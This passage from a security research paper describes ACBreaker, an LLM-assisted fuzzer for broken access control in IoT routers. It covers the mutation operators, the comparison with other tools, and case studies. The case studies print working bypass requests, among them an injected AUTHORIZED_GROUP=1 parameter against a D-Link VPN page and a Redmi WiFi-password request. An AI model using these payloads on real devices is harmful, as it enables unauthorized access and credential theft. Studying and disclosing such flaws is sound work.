51: priorityQueue.add(chain) > Prioritize effective chain

52: end if

53: end if

54: end while

55: end for

return vulnReport
56: end function

The algorithm accepts two inputs: (1) FileINFO, containing path information, file
identifiers, and file types extracted from firmware, and (2) HTTPINFO, containing protocol
information, request methods, HTTP headers, and request parameters. The algorithm
outputs vulnerability reports documenting discovered broken access control vulnerabilities,
including protected interfaces of evasion, successful mutation chains, mutation requests,
and the corresponding responses. Its execution process consists of three main phases:

Phase 1: Interface Detection (Lines 5-25). ACBreaker first constructs web interfaces
by combining path information, file identifiers, and file types from FileINFO. It sends
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initial HTTP requests to each interface, storing interfaces with response status codes other
than 404 and corresponding HTTP response information as baseline data in the inter-
face set for differential analysis. Notably, when the baseline response status code is 200,
ACBreaker extracts path and file identifier information from that interface through the
ExtractMutationInfo function, which mutation operators will use.

Phase 2: Mutation Generation and Execution (Lines 26—47). ACBreaker first initializes
the mutation operator set by invoking the InitializeMutators function based on FileINFO
and HTTPINFO, and maintains the pendinglnterfaces set to track interfaces pending testing.
For each valid interface, the GenerateMutationChains function generates mutation chain
coordination, and the RemoveConflicts function subsequently removes conflicting mutation
chains. During fuzzing, ACBreaker employs an “effective mutation prioritization” schedul-
ing strategy. When a mutation chain successfully triggers a vulnerability, it is immediately
added to the priorityQueue, and the current fuzz sequence is paused to apply this mutation
chain to all interfaces in pendingInterfaces.

Phase 3: Differential Analysis. The DifferenceAnalyzer function (show in Algorithm 2)
analyzes mutation responses through a three-layer filtering mechanism: first filtering
invalid responses, then checking for significant status code changes (e.g., from 401/403
to 200/202), and finally verifying whether access control has been successfully evaded
through response body analysis.

The following sections will detail the specific implementation of mutation algorithms,
mutation operators, and differential analysis strategies.

5.2.1. Mutation Algorithm

We designed a mutation algorithm that integrates mutation chain coordination and
effective mutation prioritization to enhance the efficiency of discovering broken access
control vulnerabilities.

Mutation Chain Coordination. The mutation chain coordination strategy generates
fuzzing sequences by combining multiple mutation operators. For each baseline request,
the Mutator constructs a complete list of mutation chains in the form of {M1, M2, M3,
M1M2, M1M3, M2M3, M1IM2M3...}, where each element represents a mutation chain,
consisting of a specific combination of mutation operators. To optimize the generation
and execution efficiency of mutation chains, this strategy implements two key dynamic
optimization mechanisms: (1) Conflict Detection: analyzes interactions between operators
within mutation chains and automatically removes conflicting combinations, such as those
that mutually modify the same HTTP header field; and the (2) Minimization Principle: when
a shorter mutation chain successfully triggers a vulnerability, ACBreaker automatically
eliminates all longer mutation chains containing this successful chain to ensure the simplest
vulnerability triggering conditions.

Effective Mutation Prioritization. The effective mutation prioritization strategy
optimizes fuzzing sequences through dynamic scheduling. The Mutator suspends the
current fuzzing sequence when the differential analyzer confirms that a mutation chain
successfully evades access control for a protected interface. It prioritizes testing all pending
interfaces using this effective mutation chain. This strategy is based on the observation
that different web interfaces within the same device often implement similar access control
mechanisms, thereby accelerating vulnerability discovery by reusing verified effective
mutation chains.

5.2.2. Mutation Operators

The design of mutation operators directly affects the effectiveness and efficiency
of discovering broken access control vulnerabilities. We developed a systematic set of
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mutation operators based on the key components of HTTP requests to create a fuzzer that
effectively identifies vulnerabilities in protected interfaces. These mutation operators are
categorized into four dimensions: request line (M1-M8), headers (M9-M11), body (M12),
and byte level (M13-M17). As shown in Table 1, we designed 17 mutation operators, 12 of
which are novel methods introduced in this study (operators not marked with an asterisk).
These operators systematically uncover security flaws in protected interfaces, enabling us
to identify and classify three common types of broken access control vulnerabilities: path
manipulation, header manipulation, and parameter manipulation.

Request Line Mutation Operators explore access control evasion based on HTTP
request lines. M1 and M2 implement basic mutations of HTTP request methods and
protocol versions, respectively. M3 to M5 focus on path mutation designed based on
URL parsing features from RFC 3986, including Matrix Parameters (such as transforming
/admin/ to /;/admin/), suffix addition, and path hierarchy insertion. M6 and M7 are
designed based on relative URI parsing rules from RFC 3986 [49], employing directory
traversal sequences (e.g., /static/../admin) to test the server’s path normalization handling.
These fuzzing sequences are constructed by combining path and file identifiers through
the ExtractMutationInfo function. M8 specifically leverages ASPNET’s cookieless feature
for fuzzing.

Header Mutation Operators explore access control evasion based on HTTP headers.
M9 tests source address verification by injecting IP-related headers (such as X-Remote-IP:
127.0.0.1). M10 probes parsing vulnerabilities by adding URL rewriting-related headers.
M11 constructs requests using header information extracted from firmware (e.g., specific
Referer values).

Table 1. Overview of mutation operations and payload examples (mutations marked with a star (*)
indicate rules also implemented in the open-source tool nomore403).

Payload Example
Target (0) g Description
Original Mutation
M1* GET HEAD Variations of HTTP request methods.
M2 * HTTP /1.1 HTTP /0.9 Variations of HTTP request protocol versions.
M3 /admin/ /;/admin/ Prefix insertion mutations applied to HTTP paths.
Request Line M4 * /admin /admin?x=1jpg Suffix insertion mutations applied to HTTP paths.
! Mb5 * /admin/index /admin;a=b/index Hierarchical insertion mutations applied to HTTP paths.
M6 /admin /static/../admin Path mutations based on permissible access paths.
M7 /admin /admin?public.cgi Path mutations based on permissible files.
M8 /admin/main.aspx /admin/(S(X))/main.aspx  Exploitation of ASP.NET cookieless session features.
MO * <None> X-Remote-IP: 127.0.0.1 Insertion of IP-related HTTP headers to bypass IP-based
access controls.
Headers M10 <None> X-Rewrite-URL: /admin Insertion f’f HTTP headers potentially affecting server
path parsing.
Mi1 <None> Referer: tplinklogin.net Insert19n of headers and corresponding values extracted
from firmware.
Body M12 <None> param=value insertl.on of parameters and their inferred values extracted
rom firmware.
M13 <None> %00 Injection of special characters (e.g., control characters).
M14 * /admin /Admin Mutation by altering the case of characters.
Byte M15 /aDmin /aDmin Homoglyph substitution using Unicode lookalike characters.
Mie6 * /admin /a%64min URL encoding, including multiple levels of encoding.
L .. Replacing special characters (e.g., &, ?, #) with %00 or
) o,
M17 /system.php?public.cgi  /system.php%00public.cgi control characters.

Body Mutation Operators explore access control evasion based on parameter pro-
cessing logic. They extract parameter names and values from firmware to create valid
parameter combinations, thereby identifying flaws in parameter validation.

Byte-level Mutation Operators provide more fine-grained request modifications.
These include special character injection (M13), case conversion (M14), Unicode homo-
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graph replacement (M15), URL encoding (M16), and control character replacement (M17).
These low-level operations probe for parsing implementation flaws by altering charac-
ter encoding and representation methods, such as mutating /system.php?public.cgi to
/system.php%00public.cgi to test for parameter delimiter processing flaws.

In summary, the choice of mutation operators is aimed at simulating a wide range of
potential evasion techniques based on attack patterns observed in real-world scenarios, such
as the CVE-2024-0204 vulnerability found in Fortra GoAnywhere MFT. This vulnerability
exploits a flaw in a URL path parser, allowing an unauthenticated attacker to bypass
authentication by manipulating the request path and access interfaces that are supposed to
be protected, such as those for creating administrator accounts.

5.2.3. Difference Analyzer

The Difference Analyzer identifies broken access control vulnerabilities by comparing
baseline and mutation responses. As shown in Algorithm 2, we designed three comple-
mentary detection strategies to accurately capture protected interface evasion character-
istics: preprocessing strategy, status code transition-based detection, and response body
difference-based detection.

Algorithm 2 Difference Analysis for Vulnerability Detection

Require:
1: baselineResp: Response from baseline request
2: mutResp: Response from mutation request
3: hashQueue: A queue or dictionary to store the frequency of response body hashes
Ensure:
4: isVulnerable: Boolean indicating if a vulnerability is detected
5: function DIFFERENCEANALYZER(baselineResp, mutResp, hashQueue)
6:  if mutResp.statusCode € {0,404,501,400} or mutResp.body = @ then return {isVulnerable :
false}
: end if
8: if baselineResp.body = mutResp.body then return {isVulnerable : false}
9: end if
10:  if baselineResp.statusCode € {401,403} and mutResp.statusCode € {200,202} then

11: hash <~ FNV1AHASH(mutResp.body)
12: frequency <— GETHASHFREQUENCY (hash, hashQueue)
13: if frequency > 5 then
return {isVulnerable : false}
14: end if
15: staticContent <— FILTERDYNAMICCONTENT (mutResp.body)
16: similarity <— CALCULATESIMILARITY(baselineResp.body, staticContent)
17: if similarity < 0.9 then
return {isVulnerable : true}
18: end if
19: end if

return {isVulnerable : false}
20: end function

Preprocessing Strategy (Lines 5-8). This strategy first filters out invalid responses,
including responses with status codes 400, 404, 501, and empty response bodies. Sub-
sequently, ACBreaker compares the content of mutation response bodies with baseline
response bodies. Even if the status code changes, identical response content generally
indicates that the server’s error-handling mechanism was activated, rather than a suc-
cessful evasion of the protected interface. For example, we often encounter cases where
mutating the request method to HEAD results in a 200 status code but with an empty
response body. Status Code Transition-based Detection Strategy (Line 10). This strategy
determines whether access permissions have changed by alterations in response status
codes. When protected interface evasion is successful, status codes typically transition
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from 401 (Unauthorized) or 403 (Forbidden), indicating restricted access, to 200 (OK) or
202 (Accepted), indicating successful requests. ACBreaker identifies potentially protected
interface evasion by monitoring these characteristic status code transitions.

Response Body Difference-based Detection Strategy (Lines 11-18). This strategy
employs two complementary techniques: (1) Page similarity analysis based on hash value
statistics uses the FNV-1a hashing algorithm to calculate feature values of the response
body and filters out frequently occurring non-sensitive page content, such as login-redirect
pages or generic error messages, through a frequency threshold, and (2) page comparison
with dynamic content filtering identifies and filters dynamic content in responses (such
as timestamps, session IDs) through the FilterDynamicContent function, then calculates
the similarity of static content. When similarity falls below 0.9 (this threshold is set to
minimize errors in identifying different strings as identical and maintain consistency with
existing SOTA research [50]), the strategy determines whether there is a valid protected
interface evasion.

5.3. ACBreaker Prototype

We implemented the ACBreaker prototype to discover access control vulnerabilities in
protected interfaces automatically. ACBreaker uses a modular architecture designed for
seamless integration with existing security tools and frameworks. Written in Python, it
comprises 11,990 lines of code and covers the entire workflow from firmware analysis to
vulnerability detection.

In the firmware preprocessing stage, ACBreaker integrates three core modules. The
Web File Identifier uses regular expressions and heuristic rules to detect web-related files
in the firmware. It can work with existing firmware analysis tools, such as Binwalk and
Firmadyne, for firmware extraction and analysis. The decompiler converts binary files
into pseudo-C code and can interface with existing decompilation tools like Ghidra and
IDA Pro to enhance the accuracy and readability of decompilation outputs. The code slicer
analyzes call relationships, breaking down code files with over 100 K tokens into semantic
blocks, ensuring compatibility with large language models (LLMs).

In the intelligent firmware analysis stage, ACBreaker uses LangChain, which includes
a prompt builder and a Reasoner. The prompt builder creates prompt templates for infor-
mation extraction by combining role definitions, chain-of-thought strategies, and few-shot
learning. The Reasoner employs two rounds of reasoning to ensure the completeness and
accuracy of the extracted information. LangChain integrates with other Al-based models,
such as OpenAl’s GPT models or Google’s Gemini, enhancing the system’s information ex-
traction capabilities. Users can easily connect their own models via API, ensuring flexibility
and scalability.

In the fuzzing stage, ACBreaker operates through three collaborative modules: the
Prober, the Mutator, and the Difference Analyzer. The Prober uses the requests [51] li-
brary to identify valid web interfaces. The Mutator generates mutation requests based on
17 specialized mutation operators to fuzz-protected interfaces. The differential analyzer
examines baseline requests and mutated requests to detect vulnerabilities. All request
data are managed using an SQLite database. All components communicate via JSON,
maintaining a consistent and coherent workflow.

The modular design and open interfaces of ACBreaker ensure its adaptability and ease
of integration into different environments, enhancing reproducibility by allowing users to
customize components and workflows based on their specific needs.
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6. Evaluation
6.1. Experimental Setup

Dataset. We evaluated ACBreaker on 11 commercial IoT devices from leading manu-
facturers, including Netgear, TP-Link, D-Link, Xiaomi, and ASUS. All evaluations were
conducted on real physical devices rather than simulated environments. As shown in
Table 2, these IoT devices exhibit heterogeneous web architectures. Their web servers
are primarily implemented using lightweight solutions such as “cgibin” and “minihttpd”
while the applications combine multiple technology stacks (e.g., binary, PHP, Lua, ASP, and
HTML), demonstrating the inherent heterogeneity of EWAs. The diversity and complex-
ity of these technology stacks provide a comprehensive testing dataset for assessing the
effectiveness of ACBreaker in real-world scenarios.

SOTA solutions for comparison. We compared ACBreaker with the state-of-the-art
open-source tools. Nomore403 [52] is a popular open-source tool on GitHub for detecting
broken access control vulnerabilities. It has garnered over 1.2 k stars and represents state-of-
the-art rule-based vulnerability detection. Boofuzz [17], a widely recognized fuzzer, focuses
on network protocol fuzzing. Its robust protocol handling capabilities and sophisticated
mutation strategies exemplify best practices for fuzzing IoT devices. We selected these
tools because ACBreaker also employs black-box fuzzing techniques during its fuzzing
stage, making them suitable for direct comparison.

Table 2. Overview of evaluated IoT devices.

Device ID Vendor Model Device Type Firmware Version = Web Type Web Code LoC
1 Netgear DGN2200 Modem router V1.0.0.46_7.0.44 Bin+tHTML 63,960
2 Netgear WNR614 WiFi router V1.1.0.28_1.0.1WW  Bin+HTML 95,588
3 Netgear WNDR3700v1  WiFi router V1.0.16.98 Bin+HTML 68,680
4 TP-Link TL-WR840N v6 VPN router 0.9.14.16 Bin+HTML 19,685
5 TP-Link  Archer C20 WiFi router V6.6_230412 Bin+HTML 38,373
6 D-Link  DIR-822 VPN router 1.03 Bin+PHP 118,851
7 D-Link  DIR-859 WiFi router A31.05 Bin+PHP+HTML 102,198
8 D-Link DNS-320L NAS A31.03 Bin+PHP+HTML 289,766
9 Redmi AX1800 WiFi router 1.0.88 Bin+LUA+HTML 183,554
10 Xiaomi  AC2100 VPN router 2.0.743 Bin+LUA+HTML 171,627
11 ASUS DSL-AC88U Modem router v1.10.05_build502  Bin+ASP+HTML 122,364

Setup. In this experiment, we deployed two models, Qwen-2.5-Coder-32B [53] and
GPT-40 [54], to evaluate the generality of our intelligent firmware analysis approach.
Both models were configured with a temperature parameter of 0.2 to ensure consistent
output. The open-source Qwen-2.5-Coder-32B was deployed on an Ubuntu 22.04 server
equipped with dual NVIDIA A100 GPUs, with its inference speed optimized through
the vLLM [55] framework, and it provided services to the analysis module via APL In
contrast, the commercial model GPT-40 was accessed via its API. The other modules of
ACBreaker, including firmware preprocessing and mutation fuzzing, ran on an Ubuntu
22.04 system with an Intel Core i7 (2.6GHz) processor and 16GB of RAM. The API cost for
processing firmware from 11 IoT devices using GPT-4o totaled USD 167. The binary files in
the firmware were decompiled using IDA Pro to generate pseudo-C code for subsequent
LLM-based analysis. All tested IoT devices were reset to factory settings and initialized to
their default configurations prior to experimentation.
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6.2. Overall Findings

Results. After eight hours of fuzzing per device, ACBreaker generated an average
of 22,546 mutation requests per IoT device. In total, ACBreaker identified 39 distinct
vulnerabilities, each corresponding to a unique payload capable of evading the access
control mechanisms of protected interfaces. Notably, one payload can evade multiple
interfaces, resulting in 508 affected protected interfaces across the devices. We analyzed
each vulnerability and categorized them into three types based on the evasion methods of
the access control mechanisms: (1) HTTP path manipulation, (2) parameter manipulation,
and (3) HT'TP header manipulation. Section 6.5 provides detailed case studies. As shown in
Table 3, 10 out of the 11 devices in the dataset had at least one broken access control vulner-
ability. We have responsibly disclosed these vulnerabilities to the respective manufacturers,
and six IoT devices have been assigned CVE IDs.

Table 3. Summary of broken access control vulnerabilities discovered by ACBreaker across IoT devices.

Device ID #Hints #Vuln Nums Vuln Type CVE Status

1 257 2 HTTP Path Manipulation Assigned

2 83 2 HTTP Path Manipulation Pending Assignment
3 0 0 None NoVuln

4 2 1 HTTP Header Manipulation Assigned

5 2 1 HTTP Header Manipulation Assigned

6 23 23 Parameter Manipulation Pending Assignment
7 3 3 Parameter Manipulation Assigned

8 1 1 Parameter Manipulation Pending Assignment
9 2 2 Parameter Manipulation Assigned

10 2 2 Parameter Manipulation Assigned

11 133 2 HTTP Path Manipulation Pending Assignment

Total 508 39 - -

6.3. Comparison with State of the Art

We compared ACBreaker with nomore403 and Boofuzz based on two metrics com-
monly used in black-box fuzzing studies [56]: (1) the number of vulnerabilities discovered
after 8 h of fuzzing and (2) the diversity of vulnerability types identified.

Configuration. We accounted for each tool’s unique features in our comparative
analysis. Since both nomore403 and Boofuzz require valid interfaces as input, we used
baseline requests generated by the Prober as common input data. Moreover, because
Boofuzz does not include a vulnerability detector, we incorporated ACBreaker’s Difference
Analyzer into it for a fair comparison. We set a 5-min fuzzing limit per interface for all
three fuzzing tools, with a total runtime of 8 h, consistent with previous studies [56]. Addi-
tionally, we conducted three control experiments: (1) ACBreaker(noalg), which removes
the mutation scheduling algorithm but still utilizes the GPT model; (2) ACBreaker(GPT),
utilizing the complete GPT model; and (3) ACBreaker(Qwen), employing the complete
Qwen model. This ablation study was designed to evaluate the contributions of individual
technical components.

The Number of Vulnerability Discovery Comparison. We summarize the num-
ber of vulnerabilities discovered by each tool in this experiment in Table 4. ACBreaker
demonstrated a significant advantage, with ACBreaker(GPT) identifying 39 vulnerabilities
affecting 508 protected interfaces and ACBreaker(Qwen) identifying 33 vulnerabilities
affecting 498 protected interfaces. Through manual verification, all 39 vulnerabilities de-
tected by ACBreaker were confirmed to be valid and exploitable, with no false positives,
thanks to our three complementary detection strategies detailed in Section 5.2.3. In con-
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trast, nomore403 identified only four vulnerabilities affecting four protected interfaces,
while boofuzz did not detect any vulnerabilities. Specifically, ACBreaker discovered HTTP
path manipulation-type access control evasion in devices 1, 2, and 11, which affected all
protected interfaces, highlighting the severity of such access control flaws.

Table 4. Comparison of broken access control vulnerability detection across different implementations.
The numbers in parentheses represent the number of protected interfaces affected by the vulnerability.

Interfaces with Broken Access Control Vulnerabilities

Device ID #Valid
nomore403 BooFuzz ACBreaker (noalg) ACBreaker (Qwen) ACBreaker (GPT)

1 302 0(0) 0(0) 2 (42) 2 (257) 2 (257)
2 365 0(0) 0(0) 2(17) 2(79) 2 (83)
3 149 0(0) 0(0) 0(0) 0(0) 0(0)
4 115 2(2) 0(0) 1(1) 1(2) 1(2)
5 87 2(2) 0(0) 1(2) 1(2) 1(2)
6 119 0(0) 0(0) 14 (14) 21 (21) 23 (23)
7 78 0(0) 0(0) 2(2) 3(3) 3(3)
8 217 0(0) 0(0) 1(1) 1(1) 1(1)
9 240 0(0) 0(0) 1(1) 0 (0) 2(2)
10 158 0(0) 0(0) 2(2) 0 (0) 2(2)
11 137 0(0) 0(0) 2 (22) 2 (133) 2 (133)

Total 1967 49 0(0) 28 (104) 33 (498) 39 (508)

Green indicates the best performance regarding the number of vulnerabilities or affected interfaces among all tools.

There are two main reasons behind ACBreaker’s superior performance, particularly in
detecting 0-day vulnerabilities. First, extracting device-specific information based on LLM
enables ACBreaker to accurately retrieve valid values to constrain the fuzzing boundaries,
thereby effectively uncovering vulnerabilities. Secondly, ACbreaker’s 17 carefully designed
mutation operators and its “mutation chain coordination” strategy can effectively uncover
in-depth vulnerabilities that triggered the need for multiple mutation operations. This
systematic mutation approach significantly outperforms the seven basic mutation rules of
nomore403 and the random mutation strategy of boofuzz.

Furthermore, the ACBreaker(noalg) version, which removes the mutation schedul-
ing algorithm, only discovered 28 vulnerabilities affecting 104 protected interfaces. This
substantial performance gap underscores the importance of our proposed “effective muta-
tion prioritization” scheduling algorithm. By reusing successful mutation operators, the
algorithm allows for the exploration of a broader range of vulnerabilities within the same
timeframe, thereby enhancing the efficiency of vulnerability discovery.

The Categories of Vulnerability Discovery Comparison. ACBreaker identified three
categories of broken access control vulnerabilities (HTTP path manipulation, parameter
manipulation, and HTTP header manipulation), while nomore403 only detected HTTP
header manipulation, and boofuzz did not identify any categories. The comprehensive
detection capability of ACBreaker is primarily attributed to its systematic mutation operator
design. This strategy is based on the fundamental components of HTTP requests and
implements mutations across four dimensions: request line, headers, body, and byte level.
This multi-dimensional mutation approach effectively covers various access control flaws
in protected interfaces.

6.4. Comparison with Different LLMs

This section evaluates the performance differences between LLMs in firmware code
analysis. We compared GPT-40 (a commercial, closed-source model) and Qwen-2.5-Coder-
32B (an open-source model), both supporting a maximum context length of 128 K tokens.
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This selection provides a balanced assessment of our methodology’s generalizability. Addi-
tionally, both models excel in analyzing multi-language programming. Notably, Qwen-2.5-
Coder-32B ranks first on the “Big Code Models Leaderboard” [57] and has been recognized
as the current state-of-the-art (SOTA) open-source code model, matching the coding capa-
bilities of GPT-4o0, as highlighted in the “Qwen 2.5-Coder Technical Report” [58].

Effectiveness of Code Slicing. The experiments demonstrate that our call-relationship-
based slicing strategy substantially enhances the semantic coverage of code analyzable
by LLMs. After applying the slicing technique, the total number of analyzable lines
increased from 842,953 to 1,274,646, representing a 51.2% expansion. This increase is not
merely due to code duplication; while some overlap between slices exists—primarily for
shared utility functions invoked across multiple paths—the slicing algorithm employs call-
graph pruning and function reuse detection to minimize redundancy. Manual inspection
confirmed that the majority of the additional lines correspond to interface-relevant logic
that would otherwise be excluded due to LLM context length constraints. Furthermore, we
verified that the token lengths of all generated slices remained within the 100K token limit,
demonstrating that our slicing strategy can effectively preserve semantic completeness
while ensuring compatibility with the LLM’s context window. These results confirm the
necessity and effectiveness of slicing: it significantly expands the model’s analyzable scope
and enhances the completeness and reliability of downstream vulnerability detection.

File Information Extraction Comparison. As shown in Table 5, we systematically
evaluated the results of file information extraction from 11 IoT devices using different
LLMs. For path information, GPT uniquely extracted 656 paths, both models extracted
894 identical paths, and Qwen uniquely extracted 324 paths. For file identifier information,
GPT uniquely extracted 2587 identifiers, both models extracted 8086 identical identifiers,
and Qwen uniquely extracted 3833 identifiers.

Table 5. Comparison of web interface information extraction between GPT and Qwen across 11
IoT devices.

Device ID Path File Identifier Valid Interfaces
GPT Only Both QwenOnly GPTOnly Both QwenOnly GPTOnly Both Qwen Only

1 20 21 7 145 538 131 20 282 0
2 20 30 6 196 545 120 24 341 0
3 6 22 18 184 950 727 0 149 0
4 20 22 6 145 538 131 1 114 0
5 20 19 30 130 330 58 2 85 0
6 213 236 81 414 1399 891 0 119 0
7 166 192 50 289 1249 617 3 75 0
8 74 136 34 238 890 293 44 173 0
9 49 90 42 275 588 397 2 238 0
10 58 99 43 477 792 318 27 130
11 10 27 7 94 267 150 1 136 0

Total 656 894 324 2587 8086 124 1528 1

This table presents the comparison of information extraction capabilities between GPT-40 and Qwen-2.5-Coder-
32B across three dimensions: path, file identifier, and valid interfaces. For each dimension, GPT only indicates
the number of items extracted exclusively by GPT, Both indicates the number of items extracted by both models,
and Qwen only indicates items extracted exclusively by Qwen. The analysis covers 11 IoT devices, with Device
ID indicating each unique device in our dataset. Green highlights cases where GPT performs better than Qwen.

highlights cases where Qwen extracts more items than GPT.

To further evaluate the actual impact of the extracted file information, we conducted
interface probing using the Prober module described in Section 4.3. The Prober sends
unauthenticated HTTP requests to each constructed interface and records those with
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response codes other than 404 as valid interfaces. Based on this validation process, GPT
uniquely detected 124 valid interfaces, while Qwen detected 1. In total, both models
identified 1842 valid interfaces (i.e., with non-404 responses), accounting for 93.6% of
all interface candidates constructed from the extracted file information. While Table 5
focuses on static information extraction (paths and identifiers), this additional probing
result reflects the effectiveness of information extraction in practice.

These results validate the generality of our approach and demonstrate that the open-
source Qwen model effectively supports firmware analysis tasks. Although GPT extracted
fewer items than Qwen, it provided higher-quality information extraction with a better
valid interface hit rate.

HTTP Information Extraction Comparison. As shown in Table 4, ACBreaker(GPT)
and ACBreaker(Qwen) showed differences in vulnerability detection, reflecting their vary-
ing HTTP information extraction capabilities. ACBreaker(GPT) identified 39 vulnerabilities,
while ACBreaker(Qwen) found 33, achieving an 84.6% overall detection rate. Both models
effectively support vulnerability detection. However, the gap is evident in parameter
manipulation vulnerabilities: ACBreaker(Qwen) detected only 27 of 33, with an 18.2%
miss rate, due to inaccuracies in extracting request parameters during code analysis, which
affected valid mutation request construction.

While model quality influences extraction accuracy, our method demonstrates strong
generality. GPT’s superior parameter extraction enhances detection, especially in precision-
sensitive tasks. Qwen, with an 84.6% overall detection rate and 93.6% valid interface
identification, shows that open-source models can support ACBreaker effectively. As LLMs
improve in code understanding, the intelligent firmware extraction technology will become
even more robust.

6.5. Case Studies

We now discuss some interesting broken access control vulnerabilities that ACBreaker
detected.

6.5.1. Redmi

ACBreaker discovered a broken access control vulnerability through parameter ma-
nipulation in the Redmi router. The vulnerability exists in the router’s WiFi password
query interface /cgi-bin/luci/api/misystem/get_wifi_pwd_url. As shown in Figure §,
accessing this interface without parameters or credentials triggers a 500 Internal Server
Error, indicating that the interface is protected.

GET /cgi-bin/luci/api/misystem/get_wifi_pwd_url HTTP/1.1 500 Internal Server Error

HTTP/1.1 Server: nginx/1.12.2

Host: 192.168.31.1 Date: Thu, 02 Jan 2025 14:24:54 GMT
Accept-Language: zh-CN,zh;q=0.9 Content-Type: text/plain; charset=UTF-8
Upgrade-Insecure-Requests: 1 Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Cache-Control: no-cache
AppleWebKit/537.36 (KHTML, like Gecko) Expires: 0

Chrome/131.0.6778.140 Safari/537.36 Content-Length: 21

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,i Internal Server Error

mage/avif,image/webp,image/apng,*/*;q=0.8,application
/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Request Response

Figure 8. Missing rsa_pubkey parameter: The access to the interface results in a 500 Internal Server
Error, indicating that the access control mechanism has blocked the request due to the absence of the
necessary parameter validation.
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This case exemplifies the effectiveness of our LLM-guided two-round inference strat-
egy and the M12 mutation operator. Specifically, ACBreaker first identified the presence of
the critical parameter name rsa_pubkey by analyzing the firmware code, which indicated
that access to the target functionality requires a valid RSA key. Subsequently, during the
second round of inference, the Reasoner analyzed the dynamic value generation logic
implemented in Lua scripts and successfully synthesized a correctly formatted rsa_pubkey
value. The mutation engine then applied the M12 operator to insert the inferred parameter
into the HTTP body, resulting in a valid request, as illustrated in Figure 9. This request
successfully bypassed the access control mechanism and retrieved the encrypted WiFi
password. Given that IoT devices often reuse management and WiFi passwords, this
vulnerability could enable attackers to obtain full administrative control over the device.

GET /cgi-
bin/luci/api/misystem/get_wifi_pwd_url?rsa_pub
key=MIIBIjANBgkqhkiGOWOBAQEFAAOCAQSAMIIBCgKCA
QEA2X6LW8NDjKIK2Z53d4... ...bIwzIORMqa8FCMyVjpwID
AQAB HTTP/1.1

Host: 192.168.31.1

Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/131.0.6778.140 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,i
mage/avif,image/webp,image/apng,*/*;q=0.8,application
/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

HTTP/1.1 200 OK

Server: nginx/1.12.2

Date: Thu, 02 Jan 2025 14:21:46 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 363

Connection: keep-alive

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:01 GMT

{"url":"FWUpp+6/ILIUh+ICmwcEJdAEBLSZQZAH7t3
X1VMrnVbX3X4e38g855aFIm+fTNgVMD7PrrA2/d3lI
KoSI4NxfG26WJox6tzEsWdvODg7mihlhOdfHBkwIK
N8WIip6zyl/ExoCMymkB4DICSXRYXPRSH86LctD9hZ
BUC3f6Vhpr+nMnv7ZA8GjgpE9RLdAH6udMcTNek/RIJ]
2j/rtS3rBzcW5a6AsA+R5cW3P692/WngzVL94c56L
PysqoCkDPIwpx81alJiNBgyklg4qWbWTVV5ynYBPjO
vLVKevRu5eXRTNhufuUDoE4Q3+dsmkRpDU4in7Zb
QnHbJeZcIN3Vtu4+7iUbg==","code":0}

Request

Response

Figure 9. Valid rsa_pubkey parameter: Supplying a random but correctly formatted RSA public
key bypasses the access control mechanism, granting unauthorized access to the encrypted WiFi
password stored on the device.

This instance demonstrates two critical advantages of our approach. First, the use
of multi-step LLM inference enables the discovery of complex dynamic parameters that
are not explicitly stored in firmware, overcoming the limitations of static analysis. Second,
relying on “parameter hiding” for access control is inadequate, as it embodies the flawed
security practice of “security through obscurity”.

6.5.2. D-Link

ACBreaker discovered a broken access control vulnerability through parameter manip-
ulation in the D-Link router, which could evade the protected VPN configuration interface
/vpnconfig.php. As shown in Figure 10, constructing a request with parameters extracted
from intelligence firmware analysis results in an HTTP status code 200, but the response
content displays “Authentication Fail!”, indicating that the access control mechanism in-
tercepts unauthenticated requests. To evade this mechanism, ACBreaker combined two
mutation rules, parameter injection (M12) and special character mutation (M17), success-
fully constructing a crafted payload: x=/vpn/ipsec/username\nAUTHORIZED_GROUP=1. As
illustrated in Figure 11, submitting this payload causes the cgibin parser to erroneously in-
terpret \nAUTHORIZED_GROUP=1 as a global variable, thereby tampering with the program’s
authentication status logic and evade access control checks. This vulnerability uniquely
requires both parameter injection and special character handling to be exploited. This
case demonstrates two key technical advantages of ACBreaker: first, its comprehensive
mutation operators enable effective detection of various types of access control evasion;
second, its innovative mutation chain coordination strategy enables the deep exploration
of complex vulnerabilities.
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POST /vpnconfig.php HTTP/1.1

Host: 192.168.0.1

Accept-Encoding: gzip, deflate, br

Accept: */*

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 21

x=/vpn/ipsec/username

HTTP/1.1 200 OK

Server: WebServer

Date: Fri, 31 Dec 1999 16:03:13 GMT
Content-Length: 21

Authentication Fail!

Request

Response

Figure 10. Access with parameters is insufficient: An HTTP request to /vpnconfig.php with re-

quired parameters returns a status code 200, but the response content shows “Authentication Fail!”,

indicating that a single mutation rule cannot evade the access control mechanism.

POST /vpnconfig.php HTTP/1.1

Host: 192.168.0.1

Accept-Encoding: gzip, deflate, br

Accept: */*

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 42

HTTP/1.1 200 OK

Server: WebServer

Date: Fri, 31 Dec 1999 16:04:17 GMT
Content-Type: application/octet-stream
Content-Disposition: attachment;
filename=vpnprofile.mobileconfig
<?xml version="'1.0" encoding="utf-8'?>

Content-Length: 1864
x=/vpn/ipsec/username\nAUTHORIZED_GROUP=1
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST
1.0//EN"
"http://www.apple.com/DTDs/PropertyList-
1.0.dtd">

<dict>

<key>AuthName</key>
<string></string>
<key>AuthPassword</key>
<string></string>

<key>CommRemoteAddress</key>
<string></string>

</dict>
</plist>

Request Response

Figure 11. Valid mutation chain: Using two mutation techniques to construct the payload
x=/vpn/ipsec/username\nAUTHORIZED_GROUP=1, the device incorrectly parses it, evading the ac-
cess control mechanism and revealing valid VPN configuration details.

6.5.3. TP-Link

ACBreaker discovered a broken access control vulnerability through HTTP header
